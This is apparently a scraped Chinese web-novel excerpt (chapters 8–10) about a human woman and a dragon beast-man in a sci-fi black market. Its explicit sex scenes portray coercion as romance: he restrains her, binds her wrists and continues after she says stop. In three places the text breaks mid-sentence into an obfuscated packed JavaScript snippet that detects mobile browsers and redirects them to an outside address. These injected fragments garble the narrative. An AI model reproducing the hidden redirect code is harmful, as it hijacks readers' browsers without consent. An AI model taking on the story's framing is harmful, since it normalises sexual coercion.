空气中弥漫着冷冽海风的气味,以及乔南芯压抑不住的火药味。 “秦冬予,你有病是不是?我花了这么多钱给你买的,你不用可以还给我。” 用都没用,任性地用手一捏就没了。 她的钱白花。 乔南芯感觉自己的好心都喂了狗,不对,狗都比他懂得珍惜。 她买的时候还特意考虑过秦冬予的口味,选了他应该会喜欢的海水冰川款。 “我不需要。” 秦冬予似乎不太明白她为什么会生气,她擅作主张买这个,该生气的难道不该是他吗? “我不会用这个,我有你就够了。” 后半句让乔南芯的火焰弱了一些。 她看着他手上残留的液体以及掉在地上浪费的,心都在滴血。 秦冬予这个败家玩意。 乔南芯态度强硬:“我帮不了,也不能帮你,你以前怎么解决就按你的方法吧,我先走了。” 她转身去开门,费尽全身力气都打不开,两只手突然从她身侧伸出,按在她面前的门板上,将她圈在中间。 乔南芯被左右坚实的臂膀禁锢,感受到他贴得很近,无法忽视的压迫气息,堵死她的退路。 她无处可逃。 “你再不让我走,我也略懂一些拳脚。” 乔南芯以为这样说他起码会考虑一下,可在秦冬予眼里,她这番话软绵绵的根本没有威慑力,反而莫名地有些可爱。 秦冬予轻轻笑了声,抵在门上的一只手转为搂住她的腰。 “乔南芯,靠近我还想全身而退?做梦。” 一门之隔,外面纷纷扰扰,里面无法言说的气味正在交织。 两人之间力量悬殊,乔南芯双手被他单手制住压在冰冷的门上,她整个人被迫贴在上面,腰上的手探|进她的衣服里,捏着她身上的软|肉。 秦冬予咬着她的耳肉,咬完又慢慢舔|舐。 愈发情动,捏着的手加重力道。 乔南芯闷哼一声,那股熟悉又陌生的怪异感觉再次袭来。 想得到更多。 秦冬予慢慢揉|捏,转而从身后亲吻她的脖颈。 气息交织缠绵,再也无法分离。 秦冬予松开乔南芯的双手,抱住她转过身子,迎面而来一个对他来说构不成威胁的拳头。 他轻轻松松握住那只拳头,包裹在手心不放,又把乔南芯另一只也不老实安分的手限制住,单手抱住她放在休息的板凳上。 乔南芯还没完全丧失理智,试图唤醒彼此的兄弟情:“秦冬予,你不能这样,我们是好兄弟,是不能做这种事的!” “好兄弟就应该帮忙。” 秦冬予完全是油盐不进,褪去后俯身下来,紧贴她两|腿之间足曾。 缓慢到汹涌的速度。 身下的板凳在晃,乔南芯全身绯红,理智和情谷欠争夺大脑的控制权。 双手已经没有力气,任由被他抓着。 底下水光潋滟,秦冬予看了眼感觉差不多了,在那道缝隙表面摩擦了两下准备近去。 激动之际,他脑袋上冒出两个黑色的小角,背后长出黑色的羽翼,慢慢地将乔南芯拢住。 就在这时,屋外突然传来巨人粗犷的声音:“开门。” 骤然出现的声音像是警告的铃声,拉回乔南芯已经出走的理智,她立刻清醒过来想穿上衣服,被秦冬予摁住。 他低头看了眼,低哑的嗓音带着几分质问:“你就准备让我这样?” 乔南芯撇过头,两颊是细腻的桃粉色,她压低声音:“又不是我让你变成这样的。快起来收拾干净,你就不怕外面的人砸开门闯进来看到我们这样吗?” 经过刚刚的事,她肤色被衬得更透亮,指尖都透着粉。 乔南芯了解秦冬予,笃定他再不要脸也不会在外面有人等着的情况下继续下去,更何况以他的身体素质,一时半会也解决不完。 秦冬予突然噗嗤一声,在乔南芯发懵的表情中继续刚刚的事,漫不经心笃定道:“我会怕?我不同意,谁也进不来。” “不是,你——”乔南芯的嘴被他的唇堵住。 她不乖乖张嘴,秦冬予就咬她的唇,乔南芯想开口说他,这正合他意,秦冬予如愿以偿。 唇齿相缠,带着滚烫的温度,像要把她的全部吃进肚中,与骨血融为一体。 这样,他们再也分不开。 十几分钟后,门终于开了,等在外面许久的巨人不悦地看着两人,目光落在乔南芯身上。 她嘴唇红肿,白皙泛红的耳朵和脖子上都有咬|痕。 巨人什么也没说,转而看向不悦的秦冬予:“既然你已经好了,快滚吧。” 秦冬予危险地眯起眼,但考虑到现在的情况,不再追究,带着乔南芯离开。 巨人走进屋,一股强烈的气味弥漫开来,凳子上有块地方湿漉漉的,显然他们离开前才擦过。 已经离开的乔南芯腿酸软发麻,开门前处理得匆忙,似乎还顺着腿根往下滑落。 秦冬予着急地拉着她要找个地方办完刚刚的事,乔南芯死活不同意,扬言再拉她,她直接当众喊。 两人在人来人往的街上僵持几分钟后,秦冬予和她商量:“好我答应你用抑制剂,但是下回必须做完。” 乔南芯开心了,点头表示答应。 切,答应了再说,谁知道下回她还在不在他身边。 不过这次乔南芯不帮他买了,让他花自己的钱去买,自己的事自己解决。 乔南芯还挑了支最贵的抑制剂:“给我买,当你陪我那支。” 秦冬予听话地买了。 不知道是不是她的错觉,经历刚刚的事情后,秦冬予似乎乖了很多。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407342|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦冬予用了三支抑制剂后才彻底平静下来,要带她回雪岌崖。 乔南芯不想回去这么快,她想在骸骨集市逛逛。 秦冬予那样对她,她还没好好和他算账,当然要在他身上捞一笔,让他出出血,就当是补偿她。 “这里有什么好逛的,你想要什么去我那挑。”秦冬予口气不屑又狂妄。 乔南芯抬眼瞥他:“这么说你那有很多宝贝?” 他那黑乎乎阴冷的巢穴看起来就穷,那些宝贝又藏在哪个隐秘的洞室里呢? “回去带你去看,喜欢什么拿什么。” 听起来很大方,乔南芯转头看向前方:“我就想在这买,你就说有没有钱。” “走吧。”秦冬予一脸“这里不好逛”的嫌弃表情,嘴上和行动却妥协,跟在她身边。 乔南芯专挑自己喜欢又贵的,她最先看中的是一套昂贵的盔甲。 秦冬予在一旁嫌弃:“有我在你身边,还需要这个?” “哎,那你说说我和三只小黑龙被绑架带走,还不是在你的眼皮子底下。”乔南芯脸上神情仿佛在说“你怎么解释”,她拿着盔甲左看右看,决定就要这个。 这个世界还挺乱的,没实力的她还是买些装备保命。 有秦冬予付钱,乔南芯想要什么就买什么,她要大花特花他的钱。 她买了一个移动空间戒指,可以装好多她买的东西。 当然最主要的还是疗伤的药剂。 大囤特囤。 秦冬予却突然停住,盯着某个像扇子的物品。 店家殷勤地推销:“这是幻化星河网。” 秦冬予瞥了眼在看别处的乔南芯,收回视线拿起这把紫色的扇子:“有什么用?” 店家:“它可以模拟令人、兽欢|愉的场景。” 秦冬予喜欢这个,逛这么久总算有个像样的东西。他果断付完钱收好,乔南芯走了过来,正好看到他收起一个东西:“你买了什么?” “以后你就知道了。”秦冬予保持神秘,不告诉她。 岂料乔南芯一听他这话就猜到了大概,无语地看着他:“你不准买那种东西。” 以前也没发现他是这样的人。 “哪种?”秦冬予揣着明白装糊涂,一副“我就是听不懂”气死人的模样。 乔南芯抿着唇,一句话不说,气愤又无可奈何全写在脸上。 见秦冬予自顾自离开,她站在他身后想立刻买艘战舰一炮轰了他。 秦冬予的耐心再次耗尽,不耐地催促她:“逛也逛了,买也买了,该回去了。” “这才逛了多久?还有好多地方我都没看过。” 这回轮到她走在前面。 她今天非要治治秦冬予的臭脾气。 “你不想逛就回去吧。” 天色将暗,街上的人更多了。 秦冬予算是看出来乔南芯在故意和他斗气,他三两步追上去拉住她的胳膊:“你不跟我回去,我就把这夷为平地。” 威胁她? 乔南芯冷笑一声,热烈欢迎他这样做:“来来来,我看你怎么毁掉这里。” 9. 第 9 章 秦冬予还想学别人用无辜者的命威胁恐吓乔南芯,只可惜后者不吃他这招。 乔南芯也相信秦冬予不会做出这种事,他本性其实并不坏。 骸骨集市昏暗,霓虹闪烁,声音嘈杂,乔南芯拉着秦冬予转移话题:“行了,我们找个地方住下。” 夜晚的骸骨才是最热闹的,走在路上总是能看到几个用黑衣斗篷遮住全身的神秘人。 系统说每个地方的黑|市都有不同的势力来这做非法交易,比如上次的蛇影佣兵团就常年混迹在这种地方。 乔南芯在光脑上找了家评分不错的酒店,导航过去后办理入住。 前台看了看他们:“请问二位是一起还是分开?” 乔南芯指了指从刚刚就一脸不爽的秦冬予:“两间房,他付钱。” 秦冬予:“一间房。” “两间房。”乔南芯又跟他犟上了。 “一间房,”秦冬予再次跟前台强调,“我付钱。” 前台带着歉意看了眼乔南芯,然后转头看向秦冬予时露出高兴的表情:“好的,请看这里。” 空中忽然亮起一片淡蓝色的光网扫过秦冬予的脸颊,“支付成功”的音效立即响起。 秦冬予接过房卡后揽着乔南芯的肩往房间走,他心情变好,唇角带着一抹似有似无的笑。 乔南芯一脸不爽地跟在他身边:“你都有钱还不舍得给我单独开一间房。” 一言不发的秦冬予打开房间,灯都没开,一把拽住乔南芯拉进来关上门,把她压在门上狠狠地亲。 房间内很暗,黑乎乎一片,根本看不清,在这种环境下,触感放大,乔南芯又感觉到他的手伸了过来。 这个混蛋! “张嘴。” 秦冬予松开她,给她一点喘|气的机会,又捏着她的下颌,以命令的口吻说道。 乔南芯咬着下嘴唇,意思很明显,她就是不张。 “行。” 秦冬予短促地笑了声,突然搂住她的腰把她抱起来,牢牢地圈在怀里。 乔南芯不安分地乱动挣扎,秦冬予扣住她乱晃的手腕按在身后,另一只手抚上她的,目光沉沉地落在她泛红的脸,漫不经心笑着。 “还这么不乖。” “二选一。要么这,要么……这里。” 他微微俯身,气息扫过她的颈侧,指尖轻轻蹭了蹭,乔南芯下意识地绷紧脊背,软声闷哼了一下。 在秦冬予直白的眼神中,她不情不愿地微微仰起脸,唇瓣微张。 秦冬予忽然觉得,看她无措却又主动的模样,比什么都有意思。 微微张开的唇像在无声邀请,他急不可耐地再次吻了上去,力道带着不容抗拒的急切。 她被吻得脑袋后仰,脖颈绷得笔直,后脑勺和后背紧紧贴着门板。 秦冬予另一只手也没闲着,动作和唇上节奏完美契合。 乔南芯被他撩得呼吸紊乱,指尖死死攥着他的衣襟。 他的指尖带着微凉的温度,像冷水混进热水中,让她浑身都泛起不受控的颤栗。 秦冬予松开她,目光却依旧黏在她的唇上。 乔南芯猛地回过神,用力推他:“你现在不是发请期!” 她就说嘛,昨天刚打完三支抑制剂,怎么可能这么快就没了效果。 秦冬予一点都不心虚,手下未停:“我什么时候说过?” “你快停下!” 乔南芯蛄蛹着身体,两人之间的悬殊让她没有反抗之力。 “要住酒店的不是你吗?” 秦冬予还反咬她一口,一脸“我停不下来”的无赖样,抱着她往柔软的白塌上走。 不知道他从哪掏出来一根绳索,碰了碰乔南芯靠在一起的手腕,绳索像蛇一样牢牢捆住。 乔南芯躺着没刚刚那么累,她的双手动不了,她就用脚踢他。 秦冬予轻轻松松握住她的脚踝,用膝盖压住她另一只腿。 好了,现在乔南芯是真的动弹不得,受制于人。 黑暗中的秦冬予突然恶劣一笑,威胁道:“你再乱动,我就开灯。” 乔南芯的身体肉眼可见一僵,还真的乖乖不动了。 开灯更加尴尬。 秦冬予十分满意,他弯下腰,捏着她的衣角连带里面的往上一推,柔软却寒凉的在来回打转。 另一侧速度加快,摸索到她的……,使劲…… 骸骨集市的晚上越来越多的人,他们来回走动,暗处有人在试验新型的科技武器。 砰的一声炸开,突然安静。 “……” 乔南芯弓起的身子泄力般塌下,紧绷的脚趾头放松下来。 秦冬予收回,看着上面沾染的氺液舌忝了舌忝,也躺了下来紧紧抱住乔南芯,感受到她身上温热的体温,在她耳边声音低哑:“乔南芯,你真好吃。” 乔南芯重重地咬在他脖颈处,秦冬予不为所动,任由她咬。 这人皮糙肉厚,咬也不痛。 乔南芯推他,没推动,没好气道:“走开,我要去洗澡。” 秦冬予抱着她起来:“一起洗。” “不要!”乔南芯大喊一声,又被秦冬予无视。 秦冬予抱住她走向浴室,在浴缸里放满热水后准备妥她的衣服。 乔南芯双手护//在胸前,警惕抗拒地盯着她。 秦冬予:“我不会对你做什么。” 乔南芯一脸震惊,指了指他又指了指自己:“刚刚那样做的是狗?” “又没进去。” 第一次想进被打断,最后十几分钟只是蹭了一下。 这是第二次。 他也没进。 他想等回到巢穴再完事,那样会很有安全感和满足感。 乔南芯猜不到他的心思,她现在觉得昔日的好兄弟就是个纵钰的变太。 必须得时刻提防。 秦冬予为了让她安心,给出一个准话:“在回巢穴之前,我都不会到最后一步。不过你也知道我最近特殊,你得帮我缓解。” “不行,你用抑制剂。” 乔南芯还是不愿。 秦冬予:“那玩意用多了对身体不好。” 乔南芯阴阳怪气:“我看你好得很。” 软的不行,秦冬予开始来硬的:“我建议你自己乖乖地脱,我来的话可就不是那么容易结束的。” 他说得意味深长,也不再靠近乔南芯。 而是以掌控一切的姿态蹲在浴缸旁,伸手在水面游荡。 浴缸泛起水波,倒映出乔南芯的身躯。 身上黏//腻腻的很不舒服,她真的很想洗澡。 但是变太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407343|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这,他那个地方还明显地撑着。 现在不比刚刚,浴室内开了灯很亮,什么都看得一清二楚。 秦冬予的手从水里伸出,干脆利落地脱//去上衣,不满地催促:“快点,你知道我脾气不是很好。” 但凡换个脾气好一点的人,乔南芯也不至于这么被动。 豁出去了。 不就是一起泡澡,之前在雪岌崖的温潭中,不就一起泡过? 都一样的都一样的。 乔南芯安慰好自己,眼一闭褪//去外穿的衣物。 秦冬予挑眉:“你就这样洗澡?” 乔南芯瞪着他:“你转过去。” “我都已经看过了。”秦冬予嘴上这样说,还是听她的话转过身去。 在他刚转过去后,乔南芯手伸到背后解//开扣子,又勾住边缘褪去。 刚想用手挡一下再进浴缸,秦冬予却转了过来,深邃的目光带着几分戏谑的笑意。 她浑身透红,唇瓣被亲得红//肿,像被揉过的花瓣,脖子上的第一次弄的,咬痕还没完全消失,身//上的牙印和痕迹是刚刚弄的。 她抿着嘴,眼神又气又羞,带着点不服的野气。 “看什么看?” 秦冬予一把捞起她走进浴缸,温热的水覆盖两人的躯体。 他摁了一泵沐浴露,在掌心揉出泡后摩挲在乔南芯光滑白皙的身体上。 清香的薄荷味蔓延,真如他所说只是给她洗澡,其他什么也不干。 说是不干,可背后抵住的触感难以忽视。 乔南芯默默挪开,又被秦冬予拉了回去。 “别动。” 乔南芯被他磨得没脾气了,遇到秦冬予这个老熟人算她倒霉。 秦冬予一手都是白色的泡沫,力道控制得很轻,慢慢向//下,被乔南芯的手摁住,她转过头近距离地看着他:“这里我自己来。” 秦冬予像没听见一样不理会她的话,直接伸了进去,指腹刮着柔软的壁。 浴缸水面轻轻荡漾,氤氲的热气漫满整个浴室。 乔南芯坐在秦冬予怀里,想躲开他的手于是不断往后退,后背紧贴秦冬予冰凉的胸膛。 秦冬予一手箍住她的腰,另一只手没停下动作。 “不用……不用洗这么久。”乔南芯靠在他怀里,声音颤抖。 秦冬予像没听见似的,搂着她腰的手轻轻往上,覆在柔软的肌肤上,掌心沾着绵密的白色泡沫。 被他这样碰着,乔南芯又羞又气又对他无可奈何,这人一本正经说只是在帮她洗澡而已。 鬼才信。 秦冬予在她耳边呢喃:“我给你洗,你给我洗。” 这是什么虎狼之词?乔南芯不答应。 秦冬予没给她拒绝的余地,指尖带着沐浴露的泡沫擦过她的手背,顺势扣住她的手腕没入水中。 他闷哼一声,脖颈往前伸去吻她,强势霸道。 乔南芯挣扎不开,手腕被攥得发紧,浑身的力气在水里消散,软软地靠进他怀里。 浴室的水汽漫上来,模糊彼此的眉眼,周遭只剩下温热的水流和交缠缱绻的呼吸。 她原本只想在骸骨集市好好玩一玩放松,却没想到会和他落入这样旖旎的漩涡。 夜色沉沉,漫长得像没有尽头,让人难熬。 10. 第 10 章 乔南芯慢慢睁开沉重的眼皮,整个人被秦冬予抱在怀里,身上都是他的气味。 从白天折腾到晚上,折腾了一夜,天刚蒙蒙亮她才睡着。 身上到处是他留下的痕迹,腿根是酸软的,手也是酸痛的,精气神是被吸走的。 乔南芯翻了个身,感觉到底下怪怪的,平淡的表情一愣。 昨天洗完澡回到床上打算休息了,秦冬予这个死变态又开始闹她,磨得她大腿的皮都快要脱了。 最后一次弄完,她再也没有体力,眼皮跟黏上了一样再也睁不开。 秦冬予也没有处理。 这个混蛋。 两人都浑身赤裸,秦冬予搂住她的腰往自己怀里贴,那个袒露的地方挨在一起,乔南芯彻底忍不了,伸腿踹他:“秦冬予,你个混蛋。” 秦冬予缓缓地掀起眼皮,平静无波地看着她,声音沙哑:“怎么了?” 说着又搂得更紧密了些,那个地方无缝衔接地挨在一起,只要他一用力,乔南芯立刻会炸掉。 乔南芯面色铁青嘟着嘴,心中的气无处发泄。 她坐起身,用被子挡住身体,在周围找她的衣服。 秦冬予一眨不眨地盯着她看,手撑着侧脸,黑发蓬松凌乱,带着点不服管的劲。 “去哪?” 乔南芯瞥过头指挥他:“你去浴室把我的衣服拿过来。” 秦冬予大手一伸,又揽着她的腰,头挨着她的身体:“别走,今天继续。” 自从他开荤之后,他就觉得这种事是最有意思的。 他会感到开心愉悦,兴奋刺激。 比他杀人还好玩。 他很期待“做完”这一天的到来。 乔南芯一听他说“继续”两个字,浑身一抖,也不管他去不去拿,现在裸着害不害羞的问题,拿开他的手后连忙跑下去冲进卫生间,捡起地上散落的衣服,再用一旁摆放着的清洁仪过一遍后穿上。 秦冬予看她刚刚那股克服害羞一脸豁出去的神情和动作,倒在床上噗嗤一声笑出来。 在卫生间的乔南芯听见他的嘲笑,捡起他的衣服,气冲冲地走出来砸在他脸上。 做完这一切后,她又气冲冲走到门边,脑海中一闪而过昨天的画面,愣了一下后咔哒一声打开门离开。 不等秦冬予反应,她已经走出酒店,打算逛逛,看看有什么稀奇古怪的东西。 街上人潮涌动,改造人、海盗、兽人都有,两侧的灯光忽明忽暗。 这里像一头巨大的活物,吞噬着所有人的生命,交易在阴影里无声地进行。 她突然想起来黑医诊所的巨人,呼喊系统查资料。 喊了三遍系统才出现。 乔南芯疑惑道:“你还有延迟?” 【不是,是触发了保护机制。】 乔南芯不明所以:“什么让你触发了保护机制?” 【你和黑龙最原始的交流。】 “……”乔南芯无话可说。 系统拉回正题:【黑医诊所的巨人是改造人,所以才比普通的公民高大几倍。】 乔南芯看到一个店门口牌子写着“模拟战斗,你就是下一个天才”的广告语,好奇地走了进去。 屋内人还挺多的,空中浮现的巨大屏幕画面中是激烈的战斗。 两方人开着战斗机在厮杀。 乔南芯对这个感兴趣,看起来就很刺激很好玩。 询问了一番价格后,她看了看自己的光脑账户。 昨天买东西的时候,她就叫秦冬予给她转些钱。 这家伙在那方面过分,转钱却干脆大方。 玩一玩。 有钱不能省,要对自己好点。 乔南芯去一旁报名,刚好有个四人队伍差一个人。 其中有个脑袋上顶着黑色猫耳朵的男生鼻子动了两下,突然惊恐地看着她,连连后退好几步。 乔南芯无辜地摸了摸自己的脸:“我脸上有东西?” 她长得也不吓人啊,怎么这人见到她跟看到猛兽一样。 另一个人解释:“他叫骆然,胆子比较小,原形是一只小黑猫,不过你不用担心,他没有恶意。” 乔南芯点点头,笑了笑,心想他是黑猫,那不应该是她怕他才对。 毕竟以这个世界的背景,她是地位低下的普通公民,而骆然是高人一等的兽人。 骆然依旧哆哆嗦嗦:“她,她身上有龙的气味。” 闻言,乔南芯闻了闻自己的手臂,清清爽爽没有异味。 龙的气味是什么味道? 其他人都露出诧异的神色,他们的鼻子没有骆然的灵敏。 兽人之间也有高低阶级之分。 尤其是自古就强大的龙一族,其他兽人仅仅是听到它们的名字就会感到害怕,方圆百里的生物闻到它们的气味就会开始颤抖。 乔南芯看骆然实在是害怕,温和地解释:“你放心我不是龙,只是我接触过龙。如果你们实在是介意,我就不加进来。” “没事。”骆然露出牙齿无害地笑了笑,脑袋上两只黑色的猫耳朵动了动,“我老大很厉害,我不会怕。” 乔南芯被他这副明明就害怕嘴上却逞强的样子逗笑。 既然队伍里四个人都同意,乔南芯便在店家那登记信息。 骆然跑过来好奇地看她的信息:“你真的是普通的人类?” “对呀,我没骗你。”乔南芯交完钱和他们在一旁等候。 骆然疑惑:“不对,你只是接触过龙,身上不该有这么强烈的气味才对。” ! 等等。 再让他说下去就尴尬了,乔南芯正想转移话题,店家突然问:“你有没有开过战机?” 他指了指桌上的说明书,虽然只是模拟,但对于精神力不强大的公民来说,稍有不慎,也会造成精神和身体上的伤害。 乔南芯面不改色:“开过。” 看过佣兵团的人开战机,自己也开过战斗模式的飞船,四舍五入也算是开过战斗机了。 骆然已经不再害怕,眼睛都仿佛冒着星星,崇拜地看着她:“哇塞,想不到你竟然开过,太厉害了。” 在所有人的认知中,普通的公民是没有办法开战机的,因为精神力不够,会受到反噬。 即使是测出精神力不错的人,也会从事特殊职业,比如加入佣兵团,所以他们也不能称为普通人。 前面的人出来了,刚出来有两个人唇色惨白,突然呕了一声,面色难看被其他人扶着离开。 系统:【宿主你真的要去体验吗,驾驭不了会伤身体,还会伤害神经。】 乔南芯:“我都开过飞船了应该没事。” 说着,她跟在骆然后面进去后才发现是真的战机,只不过是在一个模拟的场景。 刚刚她就已经叫系统扫描战机给出一份简单的说明书,她已经过了一遍。 管他有事没事,反正有系统在,就不会出事。 场景模拟开启。 无边无际的宇宙像被点亮的深渊,星云如流动的光河,悬浮的大小不一的星球静静旋转,神秘又浩瀚。 乔南芯驾驶着战机飞速前进,其中一个队友指挥道:“骆然你绕后找机会,南芯你躲在后面。” 他们每个人操控的战机不同,突出性功能也不同。 就比如乔南芯驾驶的这台战机不是灵巧型,而是配备威力巨大的重型主炮,炮弹一击便能轰碎陨石。 弊处是发射时间长,充能的间隙容易被人偷袭。 因此她要隐在队友身后,等蓄力完成再发射。 团队作战,最重要的就是听从队友指挥,相互配合。 乔南芯干脆地应了一声:“收到。” 他们配合确实比敌方默契,很快就攻略到敌方最核心的大本营,双方互相拼火力。 他们这边却停滞不前,被对方挡住了。 乔南芯询问系统有什么办法能攻破进去。 系统:【等待一个时机,等对方破绽。】 “……”乔南芯点它,“系统,你又在说废话了。” 双方僵持不下。 乔南芯这边骤然出现状况。 她感觉自己身体不稳,脑袋一阵阵发晕。 系统说她的精神力正在损耗,再继续下去就会造成不可逆的伤害。 系统建议她投降。 笑话,她的字典里就没有投降二字。 乔南芯虽然嘴上说当咸鱼,可真到了关键时刻是不愿意放弃的。 她骨子里一直有股不服输的韧劲。 也是这股劲,支撑她在千年前打败丧尸王。 要等对方露出破绽再开团是吧? 那她来开这个团好了。 乔南芯十指飞快地操作,她操控的战机一下就冲进敌方的地盘。 对面懵了,队友懵了。 而后队友迅速反应过来,集中火力进攻。 观看的人都佩服乔南芯如此冒险,竟敢直接冲到敌方地盘,以身犯险,这无异于是送死。 可后来他们也是亲眼看到,因为乔南芯这果敢的突破,屏幕中激光撕裂宇宙虚空,一道道灼亮的光线在星云之间疯狂扫射。 炸开一阵阵刺眼的火光,冲击波掀得周围的陨石四散飞溅。 每片星域都被激光和炮火占满。 光屏突然熄灭,再次亮起显示出赢的一方。 乔南芯摇摇晃晃脚步不稳出来时,听到大厅内激烈的欢呼声。 这是他们看的最过瘾也是最激烈的一场战斗。 乔南芯眼前发黑,脑袋嗡嗡响,还特别想吐。 冰冷的手突然扶住她,乔南芯抬头看去,秦冬予黑眸沉沉地看着她,语气很臭:“玩不了还玩。” “少管我。”乔南芯嘴上这样说,却任由手被他扶着,甚至身体靠在他身上,又虚虚且急切地说,“快扶着我去坐着,我头好晕。” 秦冬予冷嗤一声,抱起她坐在一旁的休息椅上:“你之前买的药剂呢?” 乔南芯想起来了,从移动空间戒指里把东西全都拿出来。 “我买的都是疗伤的,这能用吗?” 秦冬予在这些药剂中挑挑拣拣,最后选了一个恢复精神力的药剂掰开递到她嘴边。 乔南芯张嘴喝下,药剂起效很快,像是清新的薄荷飘到昏沉的脑子,一下就不晕了。 好神奇,真好使。她打开自己的光脑账户放在秦冬予面前,嚣张地命令:“给我转钱,我还要去买一些。” 秦冬予挑眉:“可以,但是我有条件。” 乔南芯不用猜就知道他想说什么,收起光脑转过头去:“那不用了。” 秦冬予就要说完:“做一次,我给你转一次。” 乔南芯就知道是这样,有了第一次之后,他的脑子里不再是“你想杀我”“你想干什么”“你想死”,而是变成“做完”“继续”“停不了”。 从一个有被害妄想症的狠戾黑龙变成了一个满脑子都是下面那种事的死变态。 乔南芯和秦冬予说完话才发现刚刚一起战斗的队友骆然站在不远处。 他一脸关切,眉毛却因为害怕而皱着。 乔南芯知道是什么原因,他想过来跟她说话,却因为害怕她身边的秦冬予不敢过来。 他不敢过来,乔南芯主动走过去。 “骆然怎么了?” “旁边那位就是你的龙朋友吗?”骆然怯生生地问,从兜里拿出一个清凉贴,“你把这个贴在手腕上就没那么难受了。” 乔南芯接过照做,晃了晃手腕,弯起嘴角笑:“谢谢你。” 肩膀突然被人揽住,秦冬予又像狗皮膏药黏了过来,甩都甩不掉,他不悦地盯着骆然。 “我先走了。”骆然是抖着身体离开的。 乔南芯耸动肩膀,想抖掉他的手:“你能不能温柔一点,人家都被你吓跑了。” “不能。”秦冬予凶巴巴的,“我就这样。” 他更加搂紧乔南芯的肩膀,霸道无理,不服又没实力只能受着。 乔南芯感叹:“哎,同样是兽人,你的脾气就那么臭,人家小猫多温柔。” 这是她发自内心的感叹。 她多想秦冬予是小猫,身上的毛发软软的。 也不知道假如他真的是猫,脾气是原先的死样子,还是像骆然那样温柔无害。 “你喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407344|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔的?” 他就那么看着,面无表情也没生气,偏偏眼神很沉,让人猜不到他在想什么。 乔南芯直觉不太妙,补救一句:“你稍微温柔一点,我就谢天谢地了。” 秦冬予没有做任何动作,只是带着她离开,去逛衣服店。 乔南芯是越来越看不懂他的想法。 无缘无故怎么突然要买衣服? 她站在一旁静静地看着他挑,老板热情地给他推销衣服。 黑色的网格衣、可爱男仆装、透视网纱上衣,甚至还有少得可怜的两块布料,只遮上面两点和下面。 坏了,这些好,她是真想看他穿。 乔南芯来了兴趣,拿着那件男仆装,笑眯眯道:“要不你买这个?” 秦冬予的手停顿了一下,再次掠过,最终只选了一件白色无袖比较紧身的上衣。 乔南芯无语,想翻个白眼。 还以为他要买什么搞波大的。 结果。 就这? 懂不懂她喜欢看什么啊! 秦冬予当场换上白衣,勾勒出上身轮廓,臂膀肌肉结实饱满,每一块线条利落分明,透着凶悍压迫的劲。 他什么也没说话,却什么都说了:看吧,我不需要那些花里胡哨的,只需要一件干净简单的无袖白衣。 足以证明他的魅力。 温柔有什么性张力,像他这种才有男人味。 乔南芯看了两眼后转身就走。 真没劲。 没有得到她夸夸的秦冬予满脸写着烦躁不爽,他本来不想和她说话了,又突然想到刚刚她操控战机的精彩表现,突然说:“我又想起来一些关于我和你的记忆。” 乔南芯抱着胳膊歪头看他,眼底闪着兴致勃勃的光:“说来听听。” “我们以前会一起去玩赛车、蹦极这种刺激的项目?”秦冬予努力回忆刚刚闪过的画面,他们曾经的相处。 “对啊。”乔南芯伸出手比划,又补充了几项他们玩的其他爱好。 她和秦冬予能成为好哥们,原因之一就是两人有共同的爱好。 她喜欢赛车机车蹦极这种刺激的,秦冬予也是,他还喜欢攀岩、滑板等等。 两人互相发现兴趣爱好高度相似后,一有时间就会互相约着一起去玩。 一来二去,两人的兄弟情飞速发展。 “你在这等我,我回去拿一下刚刚模拟战机时的勋章。”乔南芯差点忘了这回事,她回去拿到留个纪念。 秦冬予皱眉嫌弃:“那个有什么用?” “少管我。” 乔南芯说完就走了回去,从店老板那拿到纪念勋章后,她又去了趟刚刚秦冬予买衣服的店,把店老板刚刚推销的几件xg衣服通通拿下,放进空间戒指里。 店老板挑眉,一副“我懂”的促狭表情。 既然这么有缘看到这些衣服,不买回去就太遗憾了。 她一定会想办法叫秦冬予穿,他不愿意穿,她就找别人。 乔南芯回去后,秦冬予不悦:“怎么那么久?” “我不是回来了吗?一天到晚就知道催催催,做那种事时也没见你催。”乔南芯不高兴地嘀咕。 “我听得见,”秦冬予扣住她的后脖颈,压低声音在她耳边语气轻佻道,“做那种事怎么能急,急了你不爽我也不爽。” 乔南芯忍无可忍对着他竖中指:“你真是个不要脸的混蛋。” 秦冬予悠然自得接受,不予反驳。 他们之间的关系不再像之前那样紧张,而是像现在这样松弛感满满。 秦冬予也终于相信,他和乔南芯以前是好哥们。 不过他有个疑问。 “你说我们之前是好哥们,为什么不是更亲密的关系?” 提到这个事情,乔南芯就来气,气得锤他:“我还想问你呢,以前咱俩就是铁哥们铁哥们!你现在怎么变得这么变态!” 秦冬予:“……” 他哪知道,他又不记得以前的事情。 说不定乔南芯口中的他就是有那种心思,只是没表现出来? 